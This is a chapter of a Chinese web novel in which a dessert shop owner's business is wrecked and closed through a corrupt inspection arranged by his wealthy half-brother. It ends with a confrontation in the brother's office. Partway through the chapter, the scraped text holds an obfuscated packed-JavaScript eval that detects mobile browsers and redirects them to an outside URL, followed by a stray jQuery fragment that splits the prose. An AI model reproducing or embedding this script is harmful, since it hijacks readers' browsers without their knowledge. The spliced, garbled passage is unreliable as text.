38. 破坏

作品:《久爱[GB]

    时间飞速过去,来到三月,商屿珞要参加全国女子拳击竞标赛,地点在其他城市,因为她要跟随团队提前五天去,张岭松暂时放不下甜品店的工作,打算比赛前一天晚上再坐高铁过去。


    商屿珞离开的第一天晚上,他们就互通了电话。


    “你干什么呢?”商屿珞洗完澡腾的一下倒在床上,身体陷进柔软的被子里。


    “还没有吃饭,店里有点忙。”


    自从门店搬到大学城这边后,生意就比之前好了几倍,客流量多了,工作量也大,要及时补货,还要做别人提前约定好的蛋糕。忙的不行,经常要晚上九、十点了才下班。


    “辛苦你啦。”


    “你也很辛苦吧,训练劳心劳力。”


    商屿珞笑了两声,“还好,我现在精神状态非常好,一想到马上要比赛了,我激动的睡不着,这次会上电视哦,你要是来不了的话看电视也一样。”


    “我肯定会去的,票都买好了。”张岭松独自走在路上,天空虽然黑漆漆的,但街道上很多卖宵夜的小摊子,烟火气很足。


    “你说我要不要打个电话给我妈,让她看电视?”商屿珞有点烦恼,她需要一个人明确告诉她怎么去做,算是给予她放手去做的勇气吧。


    “我觉得有必要,让阿姨看见你在拳击台上威武勇敢的样子,你真心实意表现出的拼劲说不定会让她理解你,你会为了你的梦想用尽全力,打出自己的一天片。”


    商屿珞想了想,说:“我怕我万一没打赢……那岂不是让她对我偏见更重了?”


    张岭松思考着,“确实是这样。”


    是吧,如果失败了妈妈看了不仅心疼还会很生气,商屿珞心情一下子就低落起来。


    恋人温柔鼓励的声音又在耳边响起,“可是我觉得你不会输。”


    “你的努力我都看在眼里,我不相信有人会比你还厉害。”


    商屿珞被他逗笑,半开玩笑说:“那是因为‘情人眼里出西施’吧。”


    张岭松否认:“你就是最厉害的。”


    商屿珞垂眸,看见伤痕累累的手背,她付出了所有,最应该相信她的是自己才对,只有完全信任自己才不会得到胆怯的背叛。


    两个人聊了些有的没的,时间差不多了,商屿珞要早点休息,道别后就挂断了电话。


    第二天,商屿珞跟团队一起开会分析作战方案。


    张岭松一早如往常一样来到店里,生意一直持续到下午五点半,人流量正是最多的时候。


    突然几个凶神恶煞的人冲进店里还是搞破坏,客人都是学生被吓得匆匆跑出去,张岭松听见声音从后厨跑出来,看见玻璃柜被打烂,碎玻璃落得满地都是,他差点眼前一黑。


    “你们做什么!”张岭松朝他们大吼,对方手里拿着棒球棒,他不好直接去阻止他们,万一发生带血事件就麻烦了。


    “你们快住手,我已经报警了!”


    店员躲在他身后,不敢出声,看热闹的人基本都站到了街对面。


    几个人搞完破坏,恶狠狠瞪了眼张岭松,“呸!”


    “烂店!我家孩子吃了你家的甜品上拉下泻,黑店,赶紧倒闭吧!”男人说的非常大声,就怕别人听不见。


    “有话好好说,先不论你孩子是不是真的在我这里吃出的问题,你也不该直接来店里搞破坏,这是犯法的。”张岭松的话没有吓到对方,对方反而嚣张地笑了笑,有恃无恐的样子身后应该是有人撑腰。


    自己店里的东西肯定没有问题,张岭松敢保证,他也不相信现在这个社会还有人因为吃坏肚子这么冲动,直接砸店,这根本就是报复性行为。


    想到报复……张岭松只能想到魏启星。


    捏紧了拳头,警察也是这时候到的,把他们都带到了警察局。


    根据民警说的,那几个男人都是监狱老人了,进进出出不知道多少次。他们今天做的事也关不了多久,尽量争取经济补偿。


    张岭松有气没地方使,走出警察局,艳阳照的他头疼,无力地用手遮住眉眼。


    糟糕透了,回到店里一片狼藉,店员问了他情况,张岭松也不知道怎么说,只好让店员先回去,自己来收拾。


    总是能看见有人路过探头来看,张岭松心情烦躁,干脆把门关上了,自己坐在封闭的空间里沉思。


    他该怎么办?


    报警没有证据也不行。


    思考持续到第二天,店里收到了食品监督局的停业整顿通知,太突然了,张岭松刨根问底,对方也只说店里卫生不合格之类片面的话敷衍他。


    不过,说到最后,对方暗示可以交钱解决,张岭松犹豫,暂时没有同意。


    到第三天也没有找到解决办法,张岭松咬咬牙交了钱,可对方丝毫不信守承诺,两万块钱打了水漂,要都要不回来。


    对方幸灾乐祸说:“你招惹了不该招惹的人,自认倒霉吧。”


    张岭松给魏启星打过去电话,已经是下午五点,猜测对方可能在工作没有打通。


    想要个公理正义,张岭松找到了魏氏集团这里。


    前台见他没有预约,说什么也不放他进去。


    张岭松干脆说:“我是他有血缘关系的兄弟,我要见他。”


    前台一听,考量了一下,保险起见给魏启星的秘书拨去电话。


    “是的,对方说是叫张岭松,魏总的兄弟。”


    “嗯,好。”前台放下电话,对着张岭松微笑:“很抱歉,您可以进去了。”


    张岭松被送进一间需要刷卡的电梯,电梯被按到十八层。


    门缓缓关上,张岭松就看见镜子里的自己,反复对自己说不要害怕,你已经长大了,他伤害不了你。


    “叮”的一声,电梯门打开,上次在医院见过的男人正等着他,他就是魏启星的秘书。


    “张先生,这边请。”


    办公室非常大,张岭松没想到自己有一天会踏进这样的地方。


    “先坐,魏总再开会,稍会儿就来。”说完,秘书让助理去倒水。


    张岭松坐不下去,他看向面无表情的秘书,开口问:“是魏启星搞的鬼吧?”


    秘书淡淡看了他一眼,没有回答。


    他肯定知道的,张岭松低头,喃喃道:“为什么呢。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360971|199395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他到底还要为这一半血缘赎罪多久?


    为什么是他呢?


    自己只是想要过一个平淡生活啊。


    幸福不该属于他这样的人吗。


    大概半小时后,魏启星才回来,身后还跟着进行汇报的下属,说的话都是张岭松听不懂的,他清晰感受到自己和他的差距,不仅在金钱地位上,还有头脑。


    穿着前两年买的羽绒服,浅蓝色的牛仔裤与西装革履的魏启星形成鲜明对比。


    恐怕说出去都没人敢相信两人是兄弟。


    等只剩下两人后,魏启星扯了扯领带,招摇坐在椅子上,一双锐利的眼睛盯着张岭松,明明知道他是来做什么的,还要装糊涂问。


    “真是稀客,没想到你会有一天主动开找我。”


    张岭松双手僵硬放在大腿两侧,向前走了几步,“你为什么要在背后使坏?”


    “你说什么?”


    “你知道我说是什么!”张岭松吼出来,一向温和的面孔也因为愤怒而扭曲起来。


    “我真是不明白,你这样有什么意思,我根本没打算要你家的遗产。”


    那么多钱就算给他,他也不敢要。


    “你还别说,老头子真打算给你分遗产呢,可不少呢,你去他床前多拍拍马屁,挣的钱够你花八辈子了。”


    张岭松皱眉:“我不会去的,他跟我没有任何关系。”


    魏启星发笑:“有骨气,除了这点东西你还有什么?”


    “现在唯一的挣钱来源也没有吧,还被骗了钱,真是惨啊。”


    张岭松紧张地吞了吞口水:“所以,你承认是你找人来我的店里搞事,让人举报查封了我的店,还骗了我的钱?”


    魏启星挑眉,“是啊,就是我做的。怎么样,身上还有吃饭的钱吧,还是没有,我可以开张支票给你哦。”


    说着,魏启星从抽屉里拿出一沓支票,在空中甩了甩,发出沉闷的声音。


    “你!”张岭松弯腰抓起他的领子,双手气的发抖,“凭什么羞辱我?”


    “呵,凭我有权有势,而你只是一个挤在出租屋里的老鼠,你有什么资格对我发脾气?”


    魏启星比看起来强壮,推开张岭松,皮鞋踩在地上,仰着下巴睨视。


    “最好玩的地方在于,我可以看着你一点点崩溃。”


    “你的生活必须在我的设计和掌控下,我要你有一天会跪下来求我。”


    张岭松忽然头痛欲裂,不敢细想,他的受害者有多少,“你……”


    说不出话,只能转身逃跑,就像知道母亲去世后,他发现没有可以留恋和保护的人了,他要为自己打算,为自己而活。


    所以他等棺材一落地,就收拾东西离开,他后来等到高考成绩的时候还在一家火锅店上班,火锅店在一个小镇上,非常偏远,几乎不会成为年轻人选择的工作的地点。


    他心里清楚,魏启星可以找到自己,可他没有,大概是现在的自己过的已经非常差了,满足了他扭曲的内心,但一旦自己去上大学过上顺分顺水的日子他就会再次找上门。


    果然……还是应验了。